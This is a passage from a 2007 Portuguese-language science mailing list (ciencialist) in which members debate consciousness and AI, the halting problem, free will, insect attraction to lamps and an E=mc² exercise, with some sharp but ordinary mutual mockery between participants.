Isso não é verdade, é apenas uma invenção de filmes de ficção científica..:-) Computadores são perfeitamente capazes de reconhecer e superar um paradoxo, fazendo o mesmo que nós, deixando "prá lá" e continuando. Não se confunde com o travamento de rotinas por loop infinito, que é outra coisa. Esse negócio de dar uma tarefa com um paradoxo a um super-computador que está prestes a dominar o mundo, e ele "quebrar" por causa disso, não é real..:-)

Vou tentar dar meus pitacos com relação a sua mensagem anterior também sobre o que seria inteligência e livre arbítrio, ok?

Definir termos complexos como inteligência será sempre difícil, mas podemos perceber algumas caracteristicas necessárias que envolvem essa capacidade, em especial a intenção, que se baseia em expectativa de futuro. Uma ação é inteligente ao resolver um problema, no sentido de que o agente faz uma previsão válida ou não sobre o resultado dessa ação.

Quando se diz que a evolução não é aleatória, mas não é intencional, e não é inteligente, é justamente devido a falta dessa caracteristica, ela não pretende resolver um problema, ainda que "pareça" fazer isso.

Uma ameba pode agir para se mover e se afastar de um perigo, como luz ou agentes químicos. Mas sua ação não tem a intenção de protege-la, nem ela, a ameba, o faz por inteligência em qualquer sentido. Ela apenas responde a gradientes bioquímicos, que a mantém segura. Essas ações ou reações foram "filtradas" nos milhares de anos de evolução, sendo que qualquer ameba com menor sensibilidade automática a esses gradientes, teve morte mais rápida que os antepassados das atuais. Podem nascer, como devem nascer, amebas com atração bioquímica por gradientes mortais, mas sua durabilidade no planeta é curta, e seus genes, genes que determinam essa atração, dificilmente permanecerão no pool genético da espécie.

Temos assim ações claramente não-inteligentes.

E embora exista um enorme gradiante entre essas ações automáticas, e claramente não inteligentes, e as ações de seres humanos, também podemos perceber quando algo claramente inteligente está agindo. Por exemplo, um chimpanzé que corta um galho de árvore fino, prepara o mesmo retirando as folhas e limpando as imperfeições, se dirige para um cupinzeiro distante, e usa o galho adrede (sempre quis usar essa palavra e nunca achei onde..:-) preparado para capturar e comer cupins que se prendem ao galho, está sendo de alguma forma inteligente, no sentido mais evidente deste termo.

Em algum momento do gradiente entre a ameba e o chimpanzé ações deixaram de ser apenas respostas, para ser ações com alguma dose de previsão consciente. E o surgimento da concisencia é parte do problema da inteligência. É preciso uma entidade mental para ser objeto da propriedade 'inteligência".

O que o DI afirma é justamente que este universo, ou pelo menos parte dele, permite concluir que havia algum tipo de previsão envolvida em sua criação. Não serve ao DI uma força criadora não intencional, da mesma forma como não se pode dar a um raio que destroi uma árvore o status de divindade ou entidade. O raio não "intenciona" destruir a árvore, mas Zeus sim..:-) Infelizmente (para o DI..:-) nunca encontramos algo assim de verdade..:-)

Máquinas de turing são interessantes, não porque se quebram em paradoxos, o que não acontece. É tão difícil para uma máquina de turing explicar um paradoxo, quanto para um ser humano (e alguns humanos jamais entendem um paradoxo). O que as torna interessantes é que, se não pudermos decidir se é ou não uma máquina, apenas conversando com elas, elas podem, ou não, ter o que chamamos de "consciência". Veja, eu estou conversando com você, e embora eu nunca o tenha visto, você me parece um ser humano, e parece ter uma consciência, um "self", e parece ter inteligência. Se eu precisasse apostar nisso, apostaria que você tem ambos.

Mas, e se eu descobrisse que este tempo todo estive conversando com um software? E se todas nossas mensagens tivessem do seu lado um sistema de respostas IA? Eu poderia, claro, decidir que, uma vez que é artificial, não tem consciência, apenas porque é artificial, uma máquina, e não biológico, um ser humano.

Mas, isso é correto? Como eu sei que você, ou outro ser humano, tem consciência? Da mesma forma como eu decidi que o software tinha, conversando. Não posso "testar" sua consciência, a de nenhum ser humano, ela não é algo que eu possa identificar diretamente. E você não pode provar sua consciência para mim, seu "self". Apenas confio no fato de que, sendo eu um ser humano, e sendo que aparentemente eu tenho isso que chamamos de consciência, outros seres humanos devem ter também. Mas é uma indução, com toda fragilidade que induções suportam.

Outro ponto importante é que se todos temos consciência, está subsiste em um substrato material, concreto, físico, nosso cérebro. E surgiu pelo aumento de complexidade cognitiva e relacional das conexões nervosas, durante o gradiente evolutivo de milhões de anos, da ameba a chimpanzés (e seres humanois).

Mais uma vez, por indução, posso perfeitamente aceitar que em outro tipo de substrato material, silício por exemplo, no lugar de carbono, a mesma complexidade permita o surgimento da consciência, como ocorreu conosco.

Assim, o mesmo mecanismo racional que nos leva a considerar que outros seres humanos tem consciência, a indução, permite-nos considerar que não há impedimento real no surgimento da IA verdadeira, com consciência e inteligência.

Um abraço.

Homero

PS: Para não ficar prolixo demais, o livre arbítrio vai em outra mensagem..:-)


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Ferrari - Re: ABC da CIENCIA
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 15:13

Olá Ferrari

Ferrari: "Como tenho lhe dito, lhe quero bem e o tempo em que
brigava com vc já passou. Mas vou cometar umas
coisinhas que vc pensa ao meu respeito e sobre ciencia
e que estão equivocadas:"

Por favor, não o faça..:-) E tente entender que ciência, conhecimento científico, não é poesia nem democracia, não exige que se tenha amizade ou inimizade, e o que pensa ou deixa de pensar de mim e eu de você é totalmente irrelevante. E não estou equivocado, mas poderia aceitar isso, se evidências fossem apresentadas.

Já você pensa ter "a verdade verdadeira" que ninguém mais enxerga, esses pobres cientistas cegos pelo materialismo..:-) Então, para que discutir? Quem tem a verdade, como em toda religião, não vai mudar, e qualquer debate será inútil.

Você está errado, Ferrari, profundamente errado, mas não há nada que possamos fazer, nenhum de nós da lista, pois não se muda o pensamento religiosos apenas com razão e lógica..:-)

Suas frases são poesia, sem sentido e irrelevantes. Podem parecer "grandes verdades" para você, e deve ficar impressionado com sua capacidade de escreve-las, mas não significam nada, com o uso de termos que não compreende e definições imprecisas.

Um exemplo claro:

Ferrari: " Não é verdade! Não desprezo a fisica. Apenas não
acho que a ciencia deve ficar presa apenas a fisica. "

risos..:-) Mais poesia..:-) Física presa a física é só uma frase sem pé nem cabeça. Levamos décadas, séculos, para criar um método, rigoroso, que produz conhecimento confiável, e você pensa que esse rigor é apenas "cegueira científica". Física tem de ser rigorosamente precisa, presa a conceitos bem ajustados e bem definidos, ou voltamos a alquimia e suas tolices ineficazes.

A palavra é ineficaz, incapacidade de explicar, descrever e fazer previsões coerentes e confirmáveis sobre o universo físico. Colocar poesia, religião, esoterismo, deus, e qualquer outra bobagem na físicia a destruiria, e você voltaria a viver na barbárie.

Agir como você propõe impediria seu computador de funcionar (o que seria bem-vindo, na verdade) e o levaria de volta a expectativa de vida de 30 anos, padrão de nossos antepassados.

Quase todos da lista estão tentando ajuda-lo a compreender seus erros, mas como todo fanático você tem suas próprias verdades, você nem faz o mínimo esforço para entender o que lhe explicam, nem pensa, por um instante, que pode estar engando. É como o Papa, na verdade, com certezas imutáveis..:-)

Ferrari: "Pois então, experimente experimentar sua própria cognição funcionando."

Pois experimente você experimentar a experimentação do experimentador que experimenta a experimentação experimentando apenas a experiencia do experimentador experimentado..:-)

Sua mente limitada e presa a conceitos ultrapassados pode não perceber, mas todos os segredos do universo estão contidos na frase acima. Se não entende isso, a falha é sua, não da frase acima, que é clara e maravilhosa..:-)

Ferrari: "--- Ué, vc não é capaz de experimentar sua própria
cognição? Que laboratório vc quer melhor do que este?"

Outra frase sem sentido e sem definição de termos, e sem relevância. Existem centenas de "experimentadores de sua própria cognição" em hospitais psiquátricos, existem centenas de milhares de "experimentadores de sua própria cognição" que receberam revelações divinas em seitas fundamentalistas, existem os que depois de "experimentarem de sua própria cognição" pegaram carona em uma nave espacial que veio dentro de um cometa (mas tiveram de se matar para "libertar seu self" do corpo material), existem, sei lá, milhares de milhares de formas de ser iludido pela "experimentação de sua própria cognição" ..:-)

Na verdade, por milhares de anos nossa espécie só podia contar com essa bobagem, só com suas impressões subjetivas, e isso não era muito eficaz em nos ajudar nem a sobreviver, nem a entender o universo.

Sinto muito, Ferrari, não vou entrar para sua religião, nem para nenhuma outra..:-) Tente pregar em outro lugar, pois parece que o pessoal da lista também não pretende aderir a sua "religião dos experimentadores de sua própria cognição" ..:-)

Um abraço.

Homero





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 15:23

Takata!

Claro! O quarto é o vazio.
Ai vc fez o oposto:
colocou o cheio pra dividir o vazio.
Até quando vai ficar negando o óbvio?

Ah! Vi sua foto!
Prazer em conhece-lo!

Quanto ao problema,
com todo respeito: é seu!


sinceramente
ferrari









--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > Vamos fazer um acordo, eu respondo o seu problema
> se
> > voce me responder porque não consegue separar o
> carro
> > sem colocar espaço vazio entre as partes, ok?
>
> Primeiro, vc inverteu. Quem disse q não é possível
> separar o carro sem
> colocar espaço vazio foi vc. Eu disse o contrário, q
> se pode dividir o
> carro sem afastar suas partes.
>
> Ferrari: "E vc percebe que dividir o carro é colocar
> espaço vazio
> entre as partes (espaços cheios)?"
>
http://br.groups.yahoo.com/group/ciencialist/message/62867
>
> Eu: "Não. Vc pode dividir o carro sem separar as
> partes."
>
http://br.groups.yahoo.com/group/ciencialist/message/62874
>
> Mas como vc não entendeu o exemplo do carro, dou o
> exemplo de um
> quarto. Vc tem um quarto retangular de digamos, 4
> metros por 8 metros.
> Vc constrói uma parede no meio dividindo o quarto em
> dois cômodos de
> cerca de 4 metros por 4 metros. Com isso o quarto
> foi *dividido* sem a
> colocação de espaço vazio no meio.
>
> Continuo a esperar sua resolução para o exercício.
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 15:38

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Claro! O quarto é o vazio.

Se o quarto estivesse vazio, vc morreria asfixiado. Mas como vc tb não
entendeu o quarto, vamos tentar o exemplo da piscina.

Vc tem uma piscina - com água até a borda - de 12 metros por 50
metros. Vc coloca uma placa no meio e a divide em duas piscinas de 12
metros por 25 metros.

> Até quando vai ficar negando o óbvio?

Até qdo vc vai enrolar e deixar de responder ao exercício?

[]s,

Roberto Takata



SUBJECT: O Raciocinio e o Prazer ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: emailferrari@yahoo.com.br
DATE: 18/05/2007 15:39

O RACIOCINIO E O PRAZER - por Ferrari
(sobre satisfação)

http://egogame.blogspot.com

Já reparou o comportamento de uma mosca em volta de
uma lâmpada? Ela busca o prazer do calor e por isso
bate contra a lâmpada. Nós, seres humanos, fazemos
algo semelhante, procuramos sempre a satisfação, o
prazer, porém, batemos no desconhecimento do
funcionamento do cérebro. Que gosto tem três vezes
três? Que cor tem a raiz quadrada de nove? Que cheiro
tem os números impares? Quinze é bom ou é ruim?
Perguntas como estas deixam claro que o raciocínio (em
si) não é capaz de gerar satisfação. O nível de
satisfação e insatisfação que o cérebro sente é como
um termômetro, mostra ao cérebro que a febre é um
fato, mas não é capaz de curar a febre, não é capaz de
trazer a saúde de volta. Para trazer a satisfação de
volta, o cérebro precisa, através do raciocínio, criar
um plano de ação com e colocar o corpo pra agir. O
raciocínio é o estrategista da satisfação. Enquanto o
emocional informa ao cérebro que ele está cheio de
desejos como uma mulher grávida, ou cheio de medo como
um criminoso, o raciocínio busca entender qual é o
objeto desejado/indesejado e planeja como chegar/fugir
dele. Depois usa o corpo pra colocar o plano em ação.

Vamos visualizar isto através de um exemplo:

“Uma árvore cujos galhos chegavam a dois metros do
muro de minha casa se cobriu de frutinhas redondas,
vermelhas e suculentas. A simples visão daquelas
frutinhas provocou profundamente meu desejo. Foi então
que, provocado por este desejo, minha máquina de Como
Transformar Desejo em Satisfação se pôs a funcionar.
Se eu não tivesse salivado, minha máquina de Como
Transformar Desejo em Satisfação não teria combustível
para funcionar, mas impulsionado pelo meu desejo ela
me sugeriu uma primeira estratégia, criminosa: ‘pule o
muro à noite e roube as pitangas’. Furto, fruto, tão
próximos. Sim, de fato era uma maneira de chegar a
satisfação. A estratégia do furto me levaria ao fruto
desejado. Mas havia algo indesejável naquela
estratégia: e se eu fosse descoberto? Assim, rejeitei
a estratégia criminosa pela probabilidade de dor
(desprazer). Mas o brilho escarlate das pitangas não
saiam da minha cabeça. Logo meu cérebro pensou em
outra estratégia: ‘se bicicletas são extensões das
pernas, óculos são extensões dos olhos, facas são
extensões das unhas, uma maquineta de roubar pitangas
teria de ser uma extensão do meu braço’. Peguei um
bambu e fiz um braço comprido. Porém, sem uma mão,
seria inútil, as pitangas cairiam. Achei uma lata de
massa de tomates vazia, amarrei-a com um arame na
ponta do bambu e lhe fiz um dente que funcionasse como
um dedo. Feita a minha máquina, apanhei todas as
pitangas que quis. E satisfiz meu desejo.” (trecho
adaptado de um texto de Rubem Alves)


- - - - - - -


MAIS SOBRE O EGO? TEM AQUI:
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SUBJECT: Minha foto
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 15:42

A minha verdadeira foto:

http://tinyurl.com/2qklda

Como podem ver sou um nipônico típico (se bem me lembro nesta foto
estou visitando Tóquio).

[]s,

Roberto Takata



SUBJECT: Re: P/ CHicão - [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 15:48

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Isso não é verdade, é apenas uma invenção de filmes de ficção
> científica..:-) Computadores são perfeitamente capazes de reconhecer
> e superar um paradoxo, fazendo o mesmo que nós, deixando "prá lá" e
> continuando.

Misomenos. É possível se criar uma entrada q faça com q o computador
não consiga decidir pela parada.

O problema da parada é o correspondente goedeliano para máquinas de
Turing - e computadores são máquinas de Turing.

http://en.wikipedia.org/wiki/Halting_problem

[]s,

Roberto Takata



SUBJECT: P/ Takata - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 15:57

Olá Takata

Takata: "Misomenos. É possível se criar uma entrada q faça com q o computador
não consiga decidir pela parada."

Tem razão, mas mesmo nesse caso é uma variação do loop infinito, não? O paradoxo mencionado pelo Chicão seria o do tipo lógico, como a "força irresistível contra o obstáculo inamovível". Uma avaliação intelectual, não um obstáculo prático, pelo menos foi o que entendi.

E o loop infinito pode causar dano, paradas ou quebras mesmo em mentes humanas, não artificiais, como a pulsão compulssivo/obssessiva demonstra. Alguns pacientes entram em "loop" de lavar as mãos, fechar a janela, lavar as mãos, fechar as janelas, etc, até o limite da exaustão. Outros não podem ouvir uma música sem ter um "loop" na mente até atrapalhar o resto dos processos mentais, ou uma idéia que se repete indefinidamente.

Seria interessante discutir o problema da parada na lista, acho que o pessoal iria gostar bastante (embora isso vá deixar o Ferrari na ponta dos cascos de felcidade poética..:-).

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Res: [ciencialist] Nanotextil
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:02

[E]> tubos de carbono são só um tipo de nanotecnologia,
veja esses links. (resumindo: vc pode imaginar qualquer coisa!)

http://www.usp.br/prp/nanotecnologia/index_arquivos/secundarias/nanotecnews_8.htm

http://www.link.estadao.com.br/index.cfm?id_conteudo=4208




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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Ferrari - Re: ABC da CIENCIA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:03

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Suas frases são poesia, sem sentido e irrelevantes.
[...]
> risos..:-) Mais poesia..:-)

Homero, vou brigar com vc. É uma ofensa à poesia. Poesia é isto:
http://lusiadas.gertrudes.com/poesia1.html

Daqui a pouco vai falar q "funk" carioca (pobre James Brown... deve
ter morrido ao saber q chamavam aquilo de funk) é música.

[]s,

Roberto Takata



SUBJECT: Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:04

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Já reparou o comportamento de uma mosca em volta de
> uma lâmpada? Ela busca o prazer do calor e por isso
> bate contra a lâmpada.

De onde vc tirou q as moscas buscam calor na lâmpada?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:11

Takata,

A placa é vazia de piscina. Só isto.
Não existe vazio absoltuto.
Ora, esta conversa toda não começou porque afirmo que
a matéria é indivizivel?
Então, seria contraditório eu afirmar uma matéria
indivizivel e depois um vazio absoluto, não acha?
O vazio é relativo ao cheio.
E ambos são relativos aos parametros de observação.

Sobre seu problema, continua sendo seu!
Com todo o respeito.


sinceramente
ferrari









--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > Claro! O quarto é o vazio.
>
> Se o quarto estivesse vazio, vc morreria asfixiado.
> Mas como vc tb não
> entendeu o quarto, vamos tentar o exemplo da
> piscina.
>
> Vc tem uma piscina - com água até a borda - de 12
> metros por 50
> metros. Vc coloca uma placa no meio e a divide em
> duas piscinas de 12
> metros por 25 metros.
>
> > Até quando vai ficar negando o óbvio?
>
> Até qdo vc vai enrolar e deixar de responder ao
> exercício?
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:15

E o que ela busca?


sinceramente
ferrari


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > Já reparou o comportamento de uma mosca em volta
> de
> > uma lâmpada? Ela busca o prazer do calor e por
> isso
> > bate contra a lâmpada.
>
> De onde vc tirou q as moscas buscam calor na
> lâmpada?
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:23

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> A placa é vazia de piscina. Só isto.

Ra, ra, ra, ra, ra... Com todo o respeito.

[]s,

Roberto Takata



SUBJECT: Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:26

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> E o que ela busca?

A pergunta é: de onde vc tirou q ela busca o calor da lâmpada?

E vc continua devendo a resposta do exercício.

---------------
Considere a seguinte reação de decaimento de urânio-235:

U-235 + 1 n = Rb-90 + Cs-143 + 3 n

A massa do urânio-235 (em unidades de massa atômica) é 235,0439242; do
rubídio-90, 89,9148; do césio-143, 142,9273 e do nêutron, 1,0086.

Considere q uma unidade de massa atômica equivale a 1,660538782 x
10^-27 kg e que a velocidade da luz no vácuo é de 299.792.458 m.s-1.
Qual o valor da energia - em joules - gerado por essa reação?
http://br.groups.yahoo.com/group/ciencialist/message/63164
--------------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Ferrari - Re: ABC da CIENCIA
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 16:33

Olá Takata

Takata: "Homero, vou brigar com vc. É uma ofensa à poesia. "

Ok, tem razão, exagerei feio..:-) Nem mesmo péssima poesia acho que seria correto. Melhor classificação seria "texto pós-modernista digno de uma avacalhação de Sokal"..:-)

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 16:36

Olá Takata

"Ferrari: Já reparou o comportamento de uma mosca em volta de uma lâmpada? Ela busca o prazer do calor e por isso bate contra a lâmpada.

Takata: De onde vc tirou q as moscas buscam calor na lâmpada?"

Eu quase escrevi isso, e ainda um monte de perguntas sobre de onde ele tira tanto absurdo sobre biologia e ciência, mas bateu uma preguiça e desisti..:-) Se nem isso ele entende, e ainda pensa que pode basear seu discurso pós-modernista nesse total desconehcimento sobre as coisas, que efeito teria mais uma mensagem tentando esclarecer esses erros todos?

Acho que ele realmente pensa que é um fenomeno intelectual..:-)

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Ferrari -: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 16:46

Olá Ferrari

Ferrari: "E o que ela busca?"

O Takata vai responder melhor que eu, mas não resisti: nada, ela não busca nada.

Ela, como todo inseto que fica "preso" ao redor de uma fonte de luz, apenas responde a seu programa básico de direção, se mantenha a esquerda, direita ou em algum sentido a partir da fonte de luz mais forte ou evidente, o Sol ou Lua.

Claro que se o sistema determina que o inseto deve se mover em relação a Lua, esta ficará sempre do seu lado esquerdo, direito ou a sua frente. Funciona bem para a Lua ou o Sol. Mas, ao manter a "fonte de luz" a sua direito, por exemplo, e esta fonte sendo a lampada, o inseto tem de "ajustar" sua direção, conforme a posição da luz vai ficando defasada.

Pense em você dirigindo pela rodovia a noite. Se mantiver a Lua a sua esquerda, vai sempre andar em linha reta, pois a Lua parece "acompanhar" seu trajeto em linha reta. O mesmo se dirigir em direção a Lua, não vai alcança-la, nem "bater" nela..:-)

Mas mude e tente manter a lampada de sua garagem a sua esquerda, enquanto dirige pelo quintal. Vai perceber que vai girar em círculos ao redor da lampada.

Esse é o problema com as mariposas e insetos, com as lampadas, elas provocam distúrbios de direção em seus sistemas de locomoção simples.

Entende porque você escreve tanta besteira? O desconhecimento da realidade, substituida pelo que você "pensa" ser a realidade, provoca desdobramentos, incorretos e sem sentido, a partir de erros básicos.

Se não quiser continuar a escrever tolices, tem de prestar atenção primeiro a realidade, e só depois tentar criar teorias coerentes (e aceitar submeter essas teorias ao rigor do método para validação).

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:49

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@>
> > A placa é vazia de piscina. Só isto.
>
> Ra, ra, ra, ra, ra... Com todo o respeito.

Pra não falarem q não tenho boa vontade. A placa NÃO é vazia de
piscina. Ela é feita do *mesmo* material q compõem a parede da piscina.

Pegue uma caixa de sapatos. Pegue outra caixa de sapatos de mesmo
tamanho e formato. Recorte uma das laterais menores de uma das caixas
de sapato. Encha a outra caixa de sapato com areia. Pegue a lateral
recortada e enfie no meio divindo a caixa em dois compartimentos.

Agora responda ao exercício.

[]s,

Roberto Takata



SUBJECT: P/ Ferrari - Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:55

Olá Ferrari

Ferrari: "E o que ela busca?"

O Takata vai responder melhor que eu, mas não resisti: nada, ela não
busca nada, na lâmpada pelo menos.

Ela, como todo inseto que fica "preso" ao redor de uma fonte de luz,
apenas responde a seu programa básico de direção, se mantenha a
esquerda, direita ou em algum sentido a partir da fonte de luz mais
forte ou evidente, o Sol ou Lua.

Claro que se o sistema determina que o inseto deve se mover em relação
a Lua, esta ficará sempre do seu lado esquerdo, direito ou a sua
frente. Funciona bem para a Lua ou o Sol. Mas, ao manter a "fonte de
luz" a sua direito, por exemplo, e esta fonte sendo a lâmpada, o
inseto tem de "ajustar" sua direção, conforme a posição da luz vai
ficando defasada.

Pense em você dirigindo pela rodovia a noite. Se mantiver a Lua a sua
esquerda, vai sempre andar em linha reta, pois a Lua parece
"acompanhar" seu trajeto em linha reta. O mesmo se dirigir em direção
a Lua, não vai alcança-la, nem "bater" nela..:-)

Mas mude e tente manter a lâmpada de sua garagem a sua esquerda,
enquanto dirige pelo quintal. Vai perceber que vai girar em círculos
ao redor da lâmpada.

Esse é o problema com as mariposas e insetos, com as lâmpadas, elas
provocam distúrbios de direção em seus sistemas de locomoção simples.

Entende porque você escreve tanta besteira? O desconhecimento da
realidade, substituída pelo que você "pensa" ser a realidade, provoca
desdobramentos, incorretos e sem sentido, a partir de erros básicos.

Se não quiser continuar a escrever tolices, tem de prestar atenção
primeiro a realidade, e só depois tentar criar teorias coerentes (e
aceitar submeter essas teorias ao rigor do método para validação).

Homero




SUBJECT: Re: P/ Takata - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARB
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 16:56

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Tem razão, mas mesmo nesse caso é uma variação do loop infinito,
> não?

Bem, acaba gerando um certo tipo de loop infinito. Mas tb é uma forma
de paradoxo.

> Seria interessante discutir o problema da parada na lista, acho que o
> pessoal iria gostar bastante (embora isso vá deixar o Ferrari na ponta
> dos cascos de felcidade poética..:-).

Os computeiros da lista devem ter mais coisas a dizer. Eu sou apenas
um interneteiro grumete aprendiz de nível 1. No livro "A mente nova do
rei" de Penrose há uma explicação bem didática sobre o tema - embora
não necessariamente curta. Não tenho o livro - eu apenas li uma vez -,
se alguém tiver e tiver a paciência de colocar o trecho, pode ajudar
aos não-iniciados no problema a se situarem na questão.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Minha foto
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 17:14

Não consegui ver nada, Takata. Este site está indisponível!

Por acaso, essa foto é parecida com a foto do gorila que vc informou anteriormente (http://tinyurl.com/pha3k) (msg 56765)?

Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem pública? Se for, é um motivo compreensível...

Bom, de qualquer forma, já estou achando que vc é um ser com genoma modificado, criado em laboratório, tal qual o monstro do Dr Frankstein. (risos)

Abrs,

Sardeiro



----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 3:42 PM
Subject: [ciencialist] Minha foto


A minha verdadeira foto:

http://tinyurl.com/2qklda

Como podem ver sou um nipônico típico (se bem me lembro nesta foto
estou visitando Tóquio).

[]s,

Roberto Takata






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SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 17:43

Olá, Chicao.

> Como voce definiria efeito inteligente ??Está pergunta
> anda de mãos dadas com o princípio do design
> inteligente....

O Homero já respondeu essa pergunta.

> >Mas se não existe um motivo para ela escolher algo,
> >por que ela escolheu?
> > Se uma pessoa
> > escolhe algo, tem um motivo dela ter escolhido. Uma
> > escolha sem
> > causas é o mesmo que acaso.

> Como se faz uma escolha sem uma causa ??

É exatamente a questão que coloquei. Não creio que seja possível.

> >A pessoa escolheria ao
> > acaso. Penso que
> > os defensores dessa idéia de livre arbítrio não
> > visam tanto uma
> > escolha sem causa, e sim numa escolha cuja causa
> > está no futuro, e
> > não no passado.

> Função de utilidade ?

Uma ação que se justifica visando algum estado futuro. A ciência
rejeita a idéia de que uma causa possa se encontrar depois do
fenômeno.

> Não entendi essa de Aristóteles.

Aristóteles define uns cinco tipos de causa. Uma delas é a causa
final, isto é, uma causa que se encontra no futuro. Desconfio que seu
objetivo basicamente era explicar o desenvolvimento dos seres vivos,
pois ele era muito ligado em biologia. Uma semente se desenvolve
*para* se tornar uma árvore. A causa de seu desenvolvimento é o
tornar-se árvore.

> Vamos lá: seres vivos podem fazer escolhas sem causa ?

Como eu já disse, para mim tal idéia não faz sentido.

> Máquinas podem fazer escolhas?

É bom, em uma discussão, tomar cuidado com o embasamento dos
conceitos que estamos lidando. O que estamos chamando de "escolha"?
Se não existe livre arbítrio, não existe escolha no sentido original
do termo. Um computador jogador de xadrez avalia um número enorme de
jogadas possíveis e "escolhe" a que ele acha mais apropriada. Se um
jogador humano procede da mesma forma é uma questão. Acredito que
sim.

> Ainda, [máquinas] podem fazer escolhas sem causa ?

Certamente não.

Saudações,
João de Carvalho




SUBJECT: Re: Minha foto
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 17:51

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
> Não consegui ver nada, Takata. Este site está indisponível!

> http://tinyurl.com/2qklda

Tente de novo. (Aqui está normal.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Minha foto
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 17:55

Por que ele não se apresenta? Ora, eu já respondi isso aqui várias vezes.
T.A.K.A.T.A., na verdade é a sigla de um super sistema especialista,
escondido nos subterrâneos da USP, e que significa "Tantalizing Amazing
